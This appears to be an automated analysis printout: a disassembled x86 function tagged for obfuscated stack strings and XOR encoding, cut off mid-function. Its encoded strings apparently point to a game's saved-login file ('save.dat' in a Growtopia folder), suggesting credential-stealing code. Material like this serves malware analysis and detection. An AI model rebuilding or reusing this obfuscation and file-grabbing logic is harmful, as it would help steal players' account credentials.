Function at 0x406560
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435040
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1a8
mov eax, dword [0x448050]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x2c
lea eax, [ebp - 0xb8]
push 0
push eax
call fcn.00416150
add esp, 0xc
lea ecx, [ebp - 0xb8]
call fcn.00410eb0
lea ecx, [ebp - 0x158]
mov dword [ebp - 4], 0
call fcn.00404720
mov edi, eax
mov byte [ebp - 4], 1
mov dl, 0x1d
mov dword [ebp - 0xe8], 0x6f5a411d
xor ecx, ecx
mov dword [ebp - 0xe4], 0x72696a72
mov dword [ebp - 0xe0], 0x417c746d
mov byte [ebp - 0xdc], 0
lea eax, [ebp - 0xe7]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x406617
mov dl, byte [ebp - 0xe8]
jmp 0x406600
mov edx, dword [0x44a4a8]
lea ecx, [ebp - 0xe7]
mov byte [ebp - 0xdc], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406630
sub ecx, esi
mov esi, 0x7fffffff
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x407aa3
cmp dword [0x44a4ac], 0x10
mov eax, 0x44a498
push ecx
cmovae eax, dword [0x44a498]
lea ecx, [ebp - 0xe7]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x110]
call fcn.00410030
push edi
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x74]
call fcn.0040fe50
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0xfc]
cmp edx, 0x10
jb 0x4066d1
mov ecx, dword [ebp - 0x110]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4066c7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407aa8
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x144]
cmp edx, 0x10
jb 0x40670f
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406705
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407aa8
push edx
push ecx
call fcn.004143ed
add esp, 8
mov ecx, dword [ebp - 0x64]
mov eax, esi
sub eax, ecx
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
cmp eax, 1
jb 0x407aad
cmp dword [ebp - 0x60], 0x10
lea eax, [ebp - 0x74]
push ecx
cmovae eax, dword [ebp - 0x74]
push eax
push 1
push 0x443870
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x44]
call fcn.00410030
mov byte [ebp - 4], 6
lea edx, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
push dword [ebp - 0x34]
cmovae edx, dword [ebp - 0x44]
call fcn.00410680
mov byte [ebp - 4], 5
add esp, 4
mov edx, dword [ebp - 0x30]
cmp edx, 0x10
jb 0x4067af
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4067a5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ab2
push edx
push ecx
call fcn.004143ed
add esp, 8
push ecx
lea eax, [ebp - 0xb9]
push eax
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0xb8]
call fcn.004110c0
test al, al
jne 0x406b14
cmp byte [ebp - 0xb9], al
jne 0x407a48
mov dword [ebp - 0xe4], 0x7661733a
mov dl, 0x44
mov dword [ebp - 0xe0], 0x61642e65
xor ecx, ecx
mov word [ebp - 0xdc], 0x74
mov dword [ebp - 0xd0], 0x36031844
mov dword [ebp - 0xcc], 0x2b30332b
mov dword [ebp - 0xc8], 0x18252d34
mov byte [ebp - 0xc4], al
nop
lea eax, [ebp - 0xcf]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x406837
mov dl, byte [ebp - 0xd0]
jmp 0x406820
mov edx, dword [0x44a4a8]
lea ecx, [ebp - 0xcf]
mov byte [ebp - 0xc4], 0
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406850
mov eax, esi
sub ecx, edi
sub eax, edx
cmp eax, ecx
jb 0x407ab7
cmp dword [0x44a4ac], 0x10
mov eax, 0x44a498
push ecx
cmovae eax, dword [0x44a498]
lea ecx, [ebp - 0xcf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x110]
call fcn.00410030
lea eax, [ebp - 0xe3]
mov byte [ebp - 4], 7
push eax
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x140]
call fcn.0040dff0
add esp, 4
lea ecx, [ebp - 0x74]
push eax
call fcn.0040ae30
mov edx, dword [ebp - 0x12c]
cmp edx, 0x10
jb 0x4068f6
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4068ec
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407abc
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
cmp edx, 0x10
jb 0x40694f
mov ecx, dword [ebp - 0x110]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406945
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407abc
push edx
push ecx
call fcn.004143ed
add esp, 8
push ecx
lea eax, [ebp - 0xb9]
push eax
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0xb8]
call fcn.004110c0
test al, al
jne 0x406b14
cmp byte [ebp - 0xb9], al
jne 0x407a48
lea ecx, [ebp - 0x188]
call fcn.00404720
mov dword [ebp - 0xf4], eax
mov byte [ebp - 4], 8
mov dl, 1
mov dword [ebp - 0xd0], 0x73465d01
xor ecx, ecx
mov dword [ebp - 0xcc], 0x6e75766e
mov dword [ebp - 0xc8], 0x5d606871
mov byte [ebp - 0xc4], 0
nop dword [eax + eax]
lea eax, [ebp - 0xcf]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x4069d7
mov dl, byte [ebp - 0xd0]
jmp 0x4069c0
mov edx, dword [0x44a4a8]
lea ecx, [ebp - 0xcf]
mov byte [ebp - 0xc4], 0
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4069f0
sub ecx, edi
sub esi, edx
cmp esi, ecx
jb 0x407ac1
cmp dword [0x44a4ac], 0x10
mov eax, 0x44a498
push ecx
cmovae eax, dword [0x44a498]
lea ecx, [ebp - 0xcf]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x170]
call fcn.00410030
push dword [ebp - 0xf4]
lea eax, [ebp - 0x170]
mov byte [ebp - 4], 9
push eax
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x110]
call fcn.0040fe50
lea eax, [ebp - 0x110]
mov ecx, 0x448b90
push eax
call fcn.0040ae30
mov edx, dword [ebp - 0xfc]
cmp edx, 0x10
jb 0x406a9f
mov ecx, dword [ebp - 0x110]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406a95
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ac6
push edx
push ecx
call fcn.004143ed
add esp, 8
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x406ad9
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406acf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ac6
push edx
push ecx
call fcn.004143ed
add esp, 8
mov edx, dword [ebp - 0x174]
cmp edx, 0x10
jb 0x407a48
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b0d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ac6
push edx
push ecx
jmp 0x407a40
cmp byte [ebp - 0xb9], 0
je 0x407a48
cmp dword [ebp - 0x60], 0x10
lea eax, [ebp - 0x74]
push dword [ebp - 0x64]
cmovae eax, dword [ebp - 0x74]
mov ecx, 0x448b90
push eax
call fcn.0040c5e0
movaps xmm0, xmmword [0x443b40]
xor ecx, ecx
movups xmmword [ebp - 0xd4], xmm0
mov byte [ebp - 0xc4], 0
mov al, byte [ebp - 0xd4]
xor byte [ebp + ecx - 0xd3], al
inc ecx
cmp ecx, 0xf
jb 0x406b51
lea ecx, [ebp - 0xd3]
mov byte [ebp - 0xc4], 0
mov dword [ebp - 0x34], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406b86
sub ecx, edx
lea eax, [ebp - 0xd3]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.0040c5e0
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0xb8]
call fcn.00411010
mov edx, dword [ebp - 0x30]
mov esi, eax
cmp edx, 0x10
jb 0x406be4
mov ecx, dword [ebp - 0x44]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406bda
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407adf
push edx
push ecx
call fcn.004143ed
add esp, 8
test esi, esi
je 0x407a48
lea eax, [esi + 0x18]
push eax
lea ecx, [ebp - 0x44]
call fcn.0040aef0
mov byte [ebp - 4], 0xa
mov edi, dword [ebp - 0x34]
push edi
call fcn.004143fb
add esp, 4
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0x30], 0x10
lea ecx, [ebp - 0x44]
cmovae ecx, dword [ebp - 0x44]
push edi
push ecx
push eax
call fcn.00415640
add esp, 0xc
lea ecx, [ebp - 0x8c]
call fcn.004063d0
mov byte [ebp - 4], 0xb
lea esi, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0x10
jb 0x406c4d
mov esi, dword [ebp - 0x8c]
test esi, esi
jne 0x406c4d
xor edx, edx
jmp 0x406c7a
cmp dword [ebp - 0x7c], 0
mov edx, 0x55555555
jle 0x406c7a
mov edi, dword [ebp - 0x7c]
nop dword [eax + eax]
movzx eax, byte [esi]
lea esi, [esi + 1]
mov ecx, edx
shl edx, 5
shr ecx, 0x1b
add edx, ecx
add edx, eax
sub edi, 1
jne 0x406c60
mov edi, dword [ebp - 0x34]
mov esi, dword [ebp - 0xf4]
xor eax, eax
mov dword [ebp - 0xf8], eax
test edi, edi
je 0x406cb0
nop dword [eax]
lea ecx, [eax + esi]
mov al, 0xfe
sub al, dl
sub al, byte [ebp - 0xf8]
add byte [ecx], al
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp eax, edi
jb 0x406c90
mov ecx, esi
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406cc7
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x5c]
call fcn.0040c5e0
push esi
mov byte [ebp - 4], 0xc
call fcn.00413f6c
mov ecx, dword [ebp - 0x4c]
add esp, 4
cmp edi, ecx
ja 0x406d02
cmp dword [ebp - 0x48], 0x10
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x4c], edi
cmovae eax, dword [ebp - 0x5c]
mov byte [edi + eax], 0
jmp 0x406d4c
mov edx, dword [ebp - 0x48]
sub edi, ecx
mov eax, edx
sub eax, ecx
cmp edi, eax
ja 0x406d33
cmp edx, 0x10
lea esi, [ebp - 0x5c]
push edi
cmovae esi, dword [ebp - 0x5c]
lea eax, [edi + ecx]
add esi, ecx
mov dword [ebp - 0x4c], eax
push 0
push esi
call fcn.00416150
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x406d4c
push 0
push edi
mov byte [ebp - 0xf4], 0
lea ecx, [ebp - 0x5c]
push dword [ebp - 0xf4]
push edi
call fcn.0040f8b0
lea ecx, [ebp - 0xe3]
mov dword [ebp - 0xe4], 0x73616c65
mov dword [ebp - 0xe0], 0x726f7774
lea edx, [ecx + 1]
mov word [ebp - 0xdc], 0x646c
mov byte [ebp - 0xda], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406d90
sub ecx, edx
lea eax, [ebp - 0xe3]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040c5e0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xb8]
call fcn.00411010
mov edx, dword [ebp - 0x18]
mov edi, eax
cmp edx, 0x10
jb 0x406dee
mov ecx, dword [ebp - 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406de4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407adf
push edx
push ecx
call fcn.004143ed
add esp, 8
mov dl, 0x34
mov dword [ebp - 0xd0], 0x5a554034
mov dword [ebp - 0xcc], 0x6b505d5f
xor ecx, ecx
mov dword [ebp - 0xc8], 0x5159555a
mov byte [ebp - 0xc4], 0
nop word [eax + eax]
lea eax, [ebp - 0xcf]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x406e37
mov dl, byte [ebp - 0xd0]
jmp 0x406e20
lea ecx, [ebp - 0xcf]
mov byte [ebp - 0xc4], 0
mov dword [ebp - 0x1c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406e60
sub ecx, edx
lea eax, [ebp - 0xcf]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040c5e0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xb8]
call fcn.00411010
mov edx, dword [ebp - 0x18]
mov esi, eax
cmp edx, 0x10
jb 0x406ebe
mov ecx, dword [ebp - 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406eb4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407adf
push edx
push ecx
call fcn.004143ed
add esp, 8
push 0
push 0x44367b
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0xe4], 0x75535b0d
mov dword [ebp - 0xe0], 0x52656672
mov word [ebp - 0xdc], 0x5d
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
call fcn.0040c5e0
add esi, 0x18
mov byte [ebp - 4], 0xd
cmp esi, 0x448b48
je 0x406f23
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x406f15
mov eax, dword [esi]
push dword [esi + 0x10]
mov ecx, 0x448b48
push eax
call fcn.0040c5e0
lea ecx, [ebp - 0x1b8]
call fcn.00405940
test edi, edi
je 0x40742f
mov dword [ebp - 0xc0], eax
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 0xe
call fcn.004084d0
mov dword [ebp - 0xf8], eax
lea eax, [edi + 0x18]
mov byte [ebp - 4], 0xf
mov edx, dword [esi + 0x10]
lea ecx, [ebp - 0xe3]
mov dword [ebp - 0xf4], eax
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406f70
mov eax, 0x7fffffff
sub ecx, edi
sub eax, edx
cmp eax, ecx
jb 0x407acb
cmp dword [esi + 0x14], 0x10
jb 0x406f90
mov esi, dword [esi]
push ecx
lea eax, [ebp - 0xe3]
push eax
push edx
push esi
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x158]
call fcn.00410030
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x158]
call fcn.0040acf0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x128], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x118], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xe3]
mov byte [ebp - 4], 0x11
push eax
lea edx, [ebp - 0x128]
lea ecx, [ebp - 0x170]
call fcn.0040dff0
add esp, 4
push dword [ebp - 0xf4]
mov ecx, eax
mov byte [ebp - 4], 0x12
call fcn.0040acf0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xe3]
mov byte [ebp - 4], 0x13
push eax
lea edx, [ebp - 0xd8]
lea ecx, [ebp - 0x188]
call fcn.0040dff0
add esp, 4
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 0x14
push eax
push dword [ebp - 0xc0]
call fcn.0040fe50
lea eax, [ebp - 0xe3]
mov byte [ebp - 4], 0x15
push eax
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x1a0]
call fcn.0040dff0
add esp, 4
push dword [ebp - 0xc0]
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x16
push eax
push dword [ebp - 0xc0]
call fcn.0040fe50
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040ae30
mov edx, dword [ebp - 0xdc]
cmp edx, 0x10
jb 0x407126
mov ecx, dword [ebp - 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40711c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x18c]
cmp edx, 0x10
jb 0x407164
mov ecx, dword [ebp - 0x1a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40715a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0xf
mov byte [ebp - 0x1a0], 0
cmp edx, 0x10
jb 0x4071bd
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4071b3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
cmp edx, 0x10
jb 0x407216
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40720c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0xc4]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
cmp edx, 0x10
jb 0x40726f
mov ecx, dword [ebp - 0xd8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407265
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
cmp edx, 0x10
jb 0x4072c8
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4072be
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
cmp edx, 0x10
jb 0x407321
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407317
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
cmp edx, 0x10
jb 0x40737a
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407370
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
cmp edx, 0x10
jb 0x4073d3
mov ecx, dword [ebp - 0x110]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4073c9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
cmp edx, 0x10
jb 0x40795b
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407951
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ad0
jmp 0x407951
mov dword [ebp - 0xf8], eax
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.004084d0
mov dword [ebp - 0xf4], eax
lea ecx, [ebp - 0xe3]
mov byte [ebp - 4], 0x18
mov edx, dword [esi + 0x10]
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407460
mov eax, 0x7fffffff
sub ecx, edi
sub eax, edx
cmp eax, ecx
jb 0x407ad5
cmp dword [esi + 0x14], 0x10
jb 0x407480
mov esi, dword [esi]
push ecx
lea eax, [ebp - 0xe3]
push eax
push edx
push esi
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x140]
call fcn.00410030
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x19
push eax
lea ecx, [ebp - 0x140]
call fcn.0040acf0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xd8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xe3]
mov byte [ebp - 4], 0x1a
push eax
lea edx, [ebp - 0xd8]
lea ecx, [ebp - 0x188]
call fcn.0040dff0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x1b
mov edi, dword [ecx + 0x14]
mov eax, edi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 4
jb 0x40753d
lea eax, [edx + 4]
mov esi, ecx
mov dword [ecx + 0x10], eax
cmp edi, 0x10
jb 0x40752e
mov esi, dword [ecx]
mov eax, dword [str.NULL]
mov dword [esi + edx], eax
mov byte [esi + edx + 4], 0
jmp 0x40755a
push 4
push str.NULL
mov byte [ebp - 0xc0], 0
push dword [ebp - 0xc0]
push 4
call fcn.0040f030
mov ecx, eax
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x128], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x118], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0xe3]
mov byte [ebp - 4], 0x1c
push eax
lea edx, [ebp - 0x128]
lea ecx, [ebp - 0x170]
call fcn.0040dff0
add esp, 4
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x158]
mov byte [ebp - 4], 0x1d
push eax
push dword [ebp - 0xc0]
call fcn.0040fe50
lea eax, [ebp - 0xe3]
mov byte [ebp - 4], 0x1e
push eax
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x110]
call fcn.0040dff0
add esp, 4
push dword [ebp - 0xf8]
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x1f
push eax
push dword [ebp - 0xc0]
call fcn.0040fe50
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040ae30
mov edx, dword [ebp - 0xdc]
cmp edx, 0x10
jb 0x407655
mov ecx, dword [ebp - 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40764b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x1e
mov edx, dword [ebp - 0xfc]
cmp edx, 0x10
jb 0x407693
mov ecx, dword [ebp - 0x110]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407689
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
cmp edx, 0x10
jb 0x4076ec
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4076e2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
cmp edx, 0x10
jb 0x407745
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40773b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
cmp edx, 0x10
jb 0x40779e
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407794
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
cmp edx, 0x10
jb 0x4077f7
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4077ed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0xc4]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
cmp edx, 0x10
jb 0x407850
mov ecx, dword [ebp - 0xd8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407846
mov ecx, dword [ecx - 4]
add edx, 0x23
